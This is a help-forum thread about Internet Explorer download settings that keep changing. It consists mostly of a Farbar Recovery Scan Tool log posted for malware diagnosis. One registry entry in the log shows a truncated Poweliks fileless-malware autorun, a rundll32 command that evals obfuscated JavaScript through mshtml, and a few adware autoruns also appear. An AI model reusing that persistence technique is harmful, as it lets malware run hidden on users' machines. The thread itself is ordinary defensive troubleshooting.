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IE security settings [Solved]


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#1
tjmcs

tjmcs

    Member

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I'll start here and if it is the wrong forum, please direct me to the correct one.

 

The problem computer is running Win 7 Pro. The problem is, the "Download" settings under "Security" in "Internet Options" keep changing. They are set to allow downloads but they keep changing to not allow downloads. I say "they" because it is both settings listed under "Downloads". How do I set them to not change?

 

joe


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#2
Essexboy

Essexboy

    GeekU Moderator

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Hi this may be a symptom of something deeper

Please download Farbar Recovery Scan Tool and save it to your Desktop.

Note: You need to run the version compatible with your system. If you are not sure which version applies to your system download both of them and try to run them. Only one of them will run on your system, that will be the right version.
  • Right click to run as administrator (XP users click run after receipt of Windows Security Warning - Open File). When the tool opens click Yes to disclaimer.
  • Select additions at the bottom
  • Press Scan button.
    frst.JPG
  • It will produce a log called FRST.txt in the same directory the tool is run from.
  • Please attach both logs generated.

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#3
tjmcs

tjmcs

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Here are the logs.

 

Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 07-01-2015
Ran by Tommy (administrator) on TOMMY-PC on 09-01-2015 16:28:37
Running from C:\Users\Tommy\Desktop
Loaded Profile: Tommy (Available profiles: Tommy)
Platform: Windows 7 Professional Service Pack 1 (X64) OS Language: English (United States)
Internet Explorer Version 11 (Default browser: IE)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo...very-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Microsoft Corporation) C:\Windows\System32\wlanext.exe
(Andrea Electronics Corporation) C:\Program Files\Realtek\Audio\HDA\AERTSr64.exe
(Windows ® Win 7 DDK provider) C:\Program Files (x86)\Dell Wireless\Bluetooth Suite\AdminService.exe
(Intel® Corporation) C:\Program Files\Intel\iCLS Client\HeciServer.exe
() C:\ProgramData\HP Wi-Fi Touch Mouse Config\MaisyS.exe
(Ozmo Inc) C:\Program Files\WPAN Driver\WPAN Driver\ozwpansvc.exe
(Atheros) C:\Program Files (x86)\Dell Wireless\Ath_WlanAgent.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\NisSrv.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe
(Hewlett-Packard Development Company, LP) C:\Program Files\HP\HP Officejet 4630 series\Bin\ScanToPCActivationApp.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel® USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe
(Hewlett-Packard Development Company, LP) C:\Program Files\HP\HP Officejet 4630 series\Bin\HPNetworkCommunicatorCom.exe
(Hewlett-Packard) C:\ProgramData\HP Wi-Fi Touch Mouse Config\FaceBook Uploader.exe
(Primax Electronics Ltd.) C:\ProgramData\HP Wi-Fi Touch Mouse Config\PelMaisy.exe
(Hewlett-Packard) C:\Program Files (x86)\Hewlett-Packard\HP Wi-Fi Touch Mouse\hpMonitor24.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Intel Corporation) C:\Program Files\Intel\Intel® Rapid Storage Technology\IAStorIcon.exe
(Dell Products, LP.) C:\Program Files (x86)\Dell Digital Delivery\DeliveryService.exe
(Intel Corporation) C:\Program Files\Intel\Intel® Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel® Management Engine Components\DAL\jhi_service.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel® Management Engine Components\LMS\LMS.exe
(SoftThinks SAS) C:\Program Files (x86)\Dell Backup and Recovery\SftService.exe
(SoftThinks - Dell) C:\Program Files (x86)\Dell Backup and Recovery\Components\DBRUpdate\DBRUpd.exe
(SoftThinks - Dell) C:\Program Files (x86)\Dell Backup and Recovery\Toaster.exe
(Microsoft Corporation) C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
() C:\Program Files (x86)\Dell Backup and Recovery\Components\Shell\DBRCrawler.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [IgfxTray] => C:\Windows\system32\igfxtray.exe [457616 2014-10-03] ()
HKLM\...\Run: [HotKeysCmds] => "C:\Windows\system32\hkcmd.exe"
HKLM\...\Run: [Persistence] => "C:\Windows\system32\igfxpers.exe"
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel® Rapid Storage Technology\IAStorIcon.exe [286056 2013-07-30] (Intel Corporation)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [7194840 2013-07-26] (Realtek Semiconductor)
HKLM\...\Run: [RtHDVBg] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1321688 2013-07-29] (Realtek Semiconductor)
HKLM\...\Run: [RtHDVBg_PushButton] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1321688 2013-07-29] (Realtek Semiconductor)
HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1331288 2014-08-22] (Microsoft Corporation)
HKLM-x32\...\Run: [USB3MON] => C:\Program Files (x86)\Intel\Intel® USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe [292848 2013-04-26] (Intel Corporation)
HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [GrooveMonitor] => C:\Program Files (x86)\Microsoft Office\Office12\GrooveMonitor.exe [30040 2009-02-26] (Microsoft Corporation)
HKLM-x32\...\Run: [AudioToAudio AppIntegrator 32-bit] => C:\PROGRA~2\AUDIOT~2\bar\1.bin\AppIntegrator.exe
HKLM-x32\...\Run: [AudioToAudio AppIntegrator 64-bit] => C:\PROGRA~2\AUDIOT~2\bar\1.bin\AppIntegrator64.exe
HKLM-x32\...\Run: [PelMaisy] => C:\ProgramData\HP Wi-Fi Touch Mouse Config\PelMaisy.exe [85048 2011-08-26] (Primax Electronics Ltd.)
HKLM-x32\...\Run: [HPMonitor] => C:\Program Files (x86)\Hewlett-Packard\HP Wi-Fi Touch Mouse\hpMonitor24.exe [106552 2011-08-26] (Hewlett-Packard)
HKLM-x32\...\Run: [VideoDownloadConverter AppIntegrator 32-bit] => C:\PROGRA~2\VIDEOD~2\bar\1.bin\AppIntegrator.exe
HKLM-x32\...\Run: [VideoDownloadConverter AppIntegrator 64-bit] => C:\PROGRA~2\VIDEOD~2\bar\1.bin\AppIntegrator64.exe
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [271744 2014-09-26] (Oracle Corporation)
Winlogon\Notify\igfxcui: igfxdev.dll [X]
HKLM\...\Policies\Explorer\Run: [BtvStack] => C:\Program Files (x86)\Dell Wireless\Bluetooth Suite\BtvStack.exe [132736 2013-07-02] ( (Qualcomm®Atheros®))
HKU\S-1-5-21-393944708-137268486-1877606601-1000\...\Run: [HP Officejet 4630 series (NET)] => C:\Program Files\HP\HP Officejet 4630 series\Bin\ScanToPCActivationApp.exe [3487240 2014-07-21] (Hewlett-Packard Development Company, LP)
HKU\S-1-5-21-393944708-137268486-1877606601-1000\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Facebook Upload.lnk
ShortcutTarget: Facebook Upload.lnk -> C:\ProgramData\HP Wi-Fi Touch Mouse Config\FaceBook Uploader.exe (Hewlett-Packard)
ShellIconOverlayIdentifiers: [DBARFileBackuped] -> {831cebdd-6baf-4432-be76-9e0989c14aef} => C:\Windows\system32\mscoree.dll (Microsoft Corporation)
ShellIconOverlayIdentifiers: [DBARFileNotBackuped] -> {275e4fd7-21ef-45cf-a836-832e5d2cc1b3} => C:\Windows\system32\mscoree.dll (Microsoft Corporation)

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKU\S-1-5-21-393944708-137268486-1877606601-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://cnn.com/
HKU\S-1-5-21-393944708-137268486-1877606601-1000\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://dell13.msn.com/?pc=DCJB
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-393944708-137268486-1877606601-1000 -> {85404F70-128B-44CC-A953-19BC6E7438A0} URL = https://search.yahoo...52,20028,0,31,0
BHO: CIESpeechBHO Class -> {8D10F6C4-0E01-4BD4-8601-11AC1FDF8126} -> C:\Program Files (x86)\Dell Wireless\Bluetooth Suite\IEPlugIn.dll (Qualcomm®Atheros®)
BHO-x32: No Name -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} ->  No File
BHO-x32: Java™ Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre7\bin\ssv.dll (Oracle Corporation)
BHO-x32: Java™ Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre7\bin\jp2ssv.dll (Oracle Corporation)

FireFox:
========
FF Plugin: @microsoft.com/GENUINE -> disabled No File
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.31211.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI ipt;version=4.0.5 -> C:\Program Files (x86)\Intel\Intel® Management Engine Components\IPT\npIntelWebAPIIPT.dll (Intel Corporation)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI updater -> C:\Program Files (x86)\Intel\Intel® Management Engine Components\IPT\npIntelWebAPIUpdater.dll (Intel Corporation)
FF Plugin-x32: @java.com/DTPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled No File
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.31211.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF HKLM-x32\...\Thunderbird\Extensions: [[email protected]] - C:\Program Files\McAfee\MSK

Chrome:
=======

==================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AtherosSvc; C:\Program Files (x86)\Dell Wireless\Bluetooth Suite\adminservice.exe [312448 2013-07-02] (Windows ® Win 7 DDK provider)
R2 IAStorDataMgrSvc; C:\Program Files\Intel\Intel® Rapid Storage Technology\IAStorDataMgrSvc.exe [14696 2013-07-30] (Intel Corporation)
R2 igfxCUIService1.0.0.0; C:\Windows\system32\igfxCUIService.exe [329104 2014-10-03] (Intel Corporation)
R2 Intel® Capability Licensing Service Interface; c:\Program Files\Intel\iCLS Client\HeciServer.exe [747520 2013-08-27] (Intel® Corporation) [File not signed]
S3 Intel® Capability Licensing Service TCP IP Interface; c:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [828376 2013-08-27] (Intel® Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel® Management Engine Components\DAL\jhi_service.exe [169432 2013-12-09] (Intel Corporation)
R2 MaisyS; C:\ProgramData\HP Wi-Fi Touch Mouse Config\MaisyS.exe [179256 2011-08-26] ()
R2 MsMpSvc; c:\Program Files\Microsoft Security Client\MsMpEng.exe [23784 2014-08-22] (Microsoft Corporation)
R3 NisSrv; c:\Program Files\Microsoft Security Client\NisSrv.exe [368624 2014-08-22] (Microsoft Corporation)
R2 ozwpansvc; C:\Program Files\WPAN Driver\WPAN Driver\ozwpansvc.exe [97560 2011-10-06] (Ozmo Inc)
R2 RtkAudioService; C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe [246488 2013-06-18] (Realtek Semiconductor)
R2 SftService; C:\Program Files (x86)\Dell Backup and Recovery\sftservice.exe [1924328 2014-09-18] (SoftThinks SAS)
R2 ZAtheros Wlan Agent; C:\Program Files (x86)\Dell Wireless\Ath_WlanAgent.exe [81536 2013-06-21] (Atheros)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [50976 2014-11-05] (AVG Technologies)
R3 BTATH_LWFLT; C:\Windows\System32\DRIVERS\btath_lwflt.sys [77464 2013-07-02] (Qualcomm Atheros)
R3 HPMoD307; C:\Windows\System32\DRIVERS\HPMoD307.sys [25088 2011-04-25] (TPMX Electronics Ltd.)
R3 HPubD307; C:\Windows\System32\Drivers\HPubD307.sys [19456 2011-07-07] (TPMX Electronics Ltd.)
R3 hswpan; C:\Windows\System32\DRIVERS\hswpan.sys [114944 2011-10-06] (Ozmo Inc)
R0 iaStorF; C:\Windows\System32\drivers\iaStorF.sys [28008 2013-07-24] (Intel Corporation)
R3 MEIx64; C:\Windows\System32\DRIVERS\TeeDriverx64.sys [100312 2013-12-09] (Intel Corporation)
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [269008 2014-07-17] (Microsoft Corporation)
R2 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [125584 2014-07-17] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-01-09 16:28 - 2015-01-09 16:28 - 00013510 _____ () C:\Users\Tommy\Desktop\FRST.txt
2015-01-09 16:28 - 2015-01-09 16:28 - 00000000 ____D () C:\FRST
2015-01-09 16:27 - 2015-01-09 16:27 - 02124288 _____ (Farbar) C:\Users\Tommy\Desktop\FRST64.exe
2015-01-07 09:44 - 2015-01-07 09:44 - 00000000 ___RD () C:\Users\Tommy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\BT Devices
2015-01-06 18:45 - 2015-01-06 18:45 - 00017610 _____ () C:\Users\Tommy\Documents\Michele Newsletter, January 2015.htm
2015-01-06 18:45 - 2015-01-06 18:45 - 00000000 ____D () C:\Users\Tommy\Documents\Michele Newsletter, January 2015_files
2015-01-02 06:23 - 2015-01-02 06:23 - 00006745 _____ () C:\Users\Tommy\Desktop\Hanna Newspapers The Franklin Sun.url
2014-12-31 20:17 - 2014-12-31 20:17 - 00443280 _____ () C:\Users\Tommy\Downloads\TotalRecipeSearch.exe
2014-12-31 08:20 - 2014-12-31 08:24 - 00000000 ____D () C:\Users\Tommy\Documents\Fax
2014-12-30 09:56 - 2015-01-03 07:31 - 00000530 _____ () C:\Windows\SysWOW64\debug.log
2014-12-26 15:24 - 2014-12-26 15:24 - 00888617 _____ () C:\Users\Tommy\Documents\Dec. 2014 Service Activities.mht
2014-12-25 13:21 - 2014-12-25 13:21 - 00272808 _____ (Oracle Corporation) C:\Windows\SysWOW64\javaws.exe
2014-12-25 13:21 - 2014-12-25 13:21 - 00175528 _____ (Oracle Corporation) C:\Windows\SysWOW64\javaw.exe
2014-12-25 13:21 - 2014-12-25 13:21 - 00175528 _____ (Oracle Corporation) C:\Windows\SysWOW64\java.exe
2014-12-25 13:21 - 2014-12-25 13:21 - 00098216 _____ (Oracle Corporation) C:\Windows\SysWOW64\WindowsAccessBridge-32.dll
2014-12-25 13:21 - 2014-12-25 13:21 - 00000000 ____D () C:\Windows\Sun
2014-12-25 13:21 - 2014-12-25 13:21 - 00000000 ____D () C:\Users\Tommy\AppData\Roaming\Oracle
2014-12-25 13:21 - 2014-12-25 13:21 - 00000000 ____D () C:\ProgramData\Oracle
2014-12-25 13:21 - 2014-12-25 13:21 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java
2014-12-25 13:21 - 2014-12-25 13:21 - 00000000 ____D () C:\Program Files (x86)\Java
2014-12-25 12:46 - 2015-01-07 09:43 - 00001242 _____ () C:\Windows\setupact.log
2014-12-25 12:46 - 2015-01-03 07:54 - 00018330 _____ () C:\Windows\PFRO.log
2014-12-25 12:46 - 2014-12-25 12:46 - 00000000 _____ () C:\Windows\setuperr.log
2014-12-23 16:16 - 2014-12-23 16:16 - 00000000 ____D () C:\ProgramData\Sun
2014-12-23 16:15 - 2014-12-25 13:01 - 00000000 ____D () C:\ProgramData\Yahoo!
2014-12-23 16:15 - 2014-12-23 16:15 - 00000064 _____ () C:\Users\Tommy\AppData\Local\9086ed19628b63613bd1dcaad423885c
2014-12-18 02:08 - 2014-12-12 23:09 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2014-12-18 02:08 - 2014-12-12 21:33 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2014-12-14 15:40 - 2014-12-14 15:40 - 00000000 ___SD () C:\Users\Tommy\Documents\My Data Sources
2014-12-13 20:00 - 2014-12-13 20:00 - 00005853 _____ () C:\Users\Tommy\Desktop\Sports - KSLA News 12 Shreveport, Louisiana News Weather & Sports.url
2014-12-10 03:20 - 2014-12-10 03:20 - 00000000 ____D () C:\Windows\system32\appraiser
2014-12-10 03:02 - 2014-10-17 20:05 - 04121600 _____ (Microsoft Corporation) C:\Windows\system32\mf.dll
2014-12-10 03:02 - 2014-10-17 19:33 - 03209728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mf.dll
2014-12-10 03:02 - 2014-07-06 20:06 - 00206848 _____ (Microsoft Corporation) C:\Windows\system32\mfps.dll
2014-12-10 03:02 - 2014-07-06 20:06 - 00055808 _____ (Microsoft Corporation) C:\Windows\system32\rrinstaller.exe
2014-12-10 03:02 - 2014-07-06 20:06 - 00024576 _____ (Microsoft Corporation) C:\Windows\system32\mfpmp.exe
2014-12-10 03:02 - 2014-07-06 20:02 - 00002048 _____ (Microsoft Corporation) C:\Windows\system32\mferror.dll
2014-12-10 03:02 - 2014-07-06 19:40 - 00103424 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfps.dll
2014-12-10 03:02 - 2014-07-06 19:39 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rrinstaller.exe
2014-12-10 03:02 - 2014-07-06 19:39 - 00023040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfpmp.exe
2014-12-10 03:02 - 2014-07-06 19:37 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mferror.dll

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-01-09 16:25 - 2014-08-20 12:06 - 02091960 _____ () C:\Windows\WindowsUpdate.log
2015-01-09 16:25 - 2014-08-19 17:02 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-01-09 11:09 - 2014-11-04 18:43 - 00003440 _____ () C:\Windows\System32\Tasks\PCDEventLauncherTask
2015-01-09 09:06 - 2014-11-04 18:40 - 00000000 ____D () C:\Users\Tommy\AppData\Local\CrashDumps
2015-01-09 07:33 - 2009-07-13 22:45 - 00030704 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-01-09 07:33 - 2009-07-13 22:45 - 00030704 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-01-08 10:30 - 2014-12-07 07:07 - 00000000 ____D () C:\Users\Tommy\Desktop\Unused Icons
2015-01-08 10:29 - 2014-08-20 12:16 - 00000000 ____D () C:\Program Files (x86)\Dell Backup and Recovery
2015-01-07 09:49 - 2009-07-13 23:13 - 00787758 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-01-07 09:43 - 2009-07-13 23:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-01-06 04:36 - 2010-11-20 21:27 - 00298120 ____N (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe
2015-01-03 07:51 - 2009-07-13 21:20 - 00000000 ____D () C:\Windows\system32\NDF
2014-12-31 20:06 - 2014-11-24 17:25 - 00000000 ____D () C:\AdwCleaner
2014-12-31 09:16 - 2014-11-06 06:12 - 00000354 _____ () C:\Users\Tommy\Desktop\Facebook.url
2014-12-31 08:22 - 2009-07-13 23:32 - 00000000 ____D () C:\Windows\system32\FxsTmp
2014-12-28 11:25 - 2014-11-05 19:23 - 00000000 ____D () C:\Users\Tommy\Documents\Bluetooth Folder
2014-12-25 12:49 - 2014-08-20 12:15 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2014-12-25 12:47 - 2009-07-13 23:09 - 00000000 ____D () C:\Windows\System32\Tasks\WPD
2014-12-25 12:42 - 2011-02-10 08:25 - 00000000 ____D () C:\Windows\panther
2014-12-24 10:48 - 2009-07-13 22:57 - 00001547 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk
2014-12-21 10:57 - 2014-11-05 19:45 - 00000000 ____D () C:\Program Files\Microsoft Silverlight
2014-12-21 10:57 - 2014-11-05 19:45 - 00000000 ____D () C:\Program Files (x86)\Microsoft Silverlight
2014-12-14 03:01 - 2014-11-05 19:46 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
2014-12-13 09:14 - 2009-07-13 21:20 - 00000000 ____D () C:\Windows\rescache
2014-12-13 06:14 - 2014-11-04 18:44 - 00000000 ____D () C:\Users\Tommy\AppData\Local\Adobe
2014-12-13 06:14 - 2014-08-19 17:02 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2014-12-13 06:14 - 2014-08-19 17:02 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2014-12-13 06:14 - 2014-08-19 17:02 - 00003768 _____ () C:\Windows\System32\Tasks\Adobe Flash Player Updater
2014-12-10 03:20 - 2014-11-05 19:24 - 00000000 ___SD () C:\Windows\system32\CompatTel
2014-12-10 03:20 - 2009-07-13 21:20 - 00000000 ____D () C:\Windows\PolicyDefinitions
2014-12-10 03:20 - 2009-07-13 21:20 - 00000000 ____D () C:\Windows\AppCompat
2014-12-10 03:04 - 2014-11-05 16:22 - 00000000 ____D () C:\Windows\system32\MRT
2014-12-10 03:04 - 2014-11-04 19:00 - 00000000 ____D () C:\ProgramData\Microsoft Help
2014-12-10 03:03 - 2014-11-05 16:22 - 112710672 _____ (Microsoft Corporation) C:\Windows\system32\MRT.exe

Some content of TEMP:
====================
C:\Users\Tommy\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exe

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\System32\winlogon.exe => File is digitally signed
C:\Windows\System32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\System32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\System32\services.exe => File is digitally signed
C:\Windows\System32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\System32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\System32\rpcss.dll => File is digitally signed
C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-01-04 12:03

==================== End Of Log ============================

 

 

Additional scan result of Farbar Recovery Scan Tool (x64) Version: 07-01-2015
Ran by Tommy at 2015-01-09 16:29:08
Running from C:\Users\Tommy\Desktop
Boot Mode: Normal
==========================================================

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AV: Microsoft Security Essentials (Enabled - Up to date) {4F35CFC4-45A3-FC37-EF17-759A02E39AB1}
AS: Microsoft Security Essentials (Enabled - Up to date) {F4542E20-6399-F3B9-D5A7-4EE87964D00C}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installed Programs ======================

(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

Adobe Flash Player 16 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 16.0.0.235 - Adobe Systems Incorporated)
Adobe Reader XI (11.0.10)  MUI (HKLM-x32\...\{AC76BA86-7AD7-FFFF-7B44-AB0000000001}) (Version: 11.0.10 - Adobe Systems Incorporated)
Cisco EAP-FAST Module (HKLM-x32\...\{64BF0187-F3D2-498B-99EA-163AF9AE6EC9}) (Version: 2.2.14 - Cisco Systems, Inc.)
Cisco LEAP Module (HKLM-x32\...\{51C7AD07-C3F6-4635-8E8A-231306D810FE}) (Version: 1.0.19 - Cisco Systems, Inc.)
Cisco PEAP Module (HKLM-x32\...\{ED5776D5-59B4-46B7-AF81-5F2D94D7C640}) (Version: 1.1.6 - Cisco Systems, Inc.)
Dell Backup and Recovery (HKLM-x32\...\{0ED7EE95-6A97-47AA-AD73-152C08A15B04}) (Version: 1.7.5.63 - Dell Inc.)
Dell Digital Delivery (HKLM-x32\...\{BC8233D8-59BA-4D40-92B9-4FDE7452AA8B}) (Version: 3.0.3999.0 - Dell Products, LP)
Dell Edoc Viewer (HKLM\...\{8EBA8727-ADC2-477B-9D9A-1A1836BE4E05}) (Version: 1.0.0 - Dell Inc)
Dell WLAN and Bluetooth Client Installation (HKLM-x32\...\{28006915-2739-4EBE-B5E8-49B25D32EB33}) (Version: 10.0 - Dell Inc.)
DSC/AA Factory Installer (Version: 3.5.6426.22 - PC-Doctor, Inc.) Hidden
HP Mouse Suite 2.4 (HKLM\...\{00BBA545-EC0D-4A70-83F6-3D2CC5CAEEFC}) (Version: 2.4 - Hewlett-Packard)
HP Officejet 4630 series Basic Device Software (HKLM\...\{38037A50-E9F1-41E4-9AA3-2E0A5A2FC4C5}) (Version: 32.3.198.49673 - Hewlett-Packard Co.)
Intel® Management Engine Components (HKLM-x32\...\{65153EA5-8B6E-43B6-857B-C6E4FC25798A}) (Version: 9.5.23.1766 - Intel Corporation)
Intel® Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 10.18.10.3960 - Intel Corporation)
Intel® Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 12.7.3.1001 - Intel Corporation)
Intel® USB 3.0 eXtensible Host Controller Driver (HKLM-x32\...\{240C3DDD-C5E9-4029-9DF7-95650D040CF2}) (Version: 2.5.0.19 - Intel Corporation)
Java 7 Update 71 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F03217071FF}) (Version: 7.0.710 - Oracle)
Microsoft .NET Framework 4.5.1 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.5.50938 - Microsoft Corporation)
Microsoft Office 2007 Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Security Essentials (HKLM\...\Microsoft Security Client) (Version: 4.6.305.0 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.31211.0 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
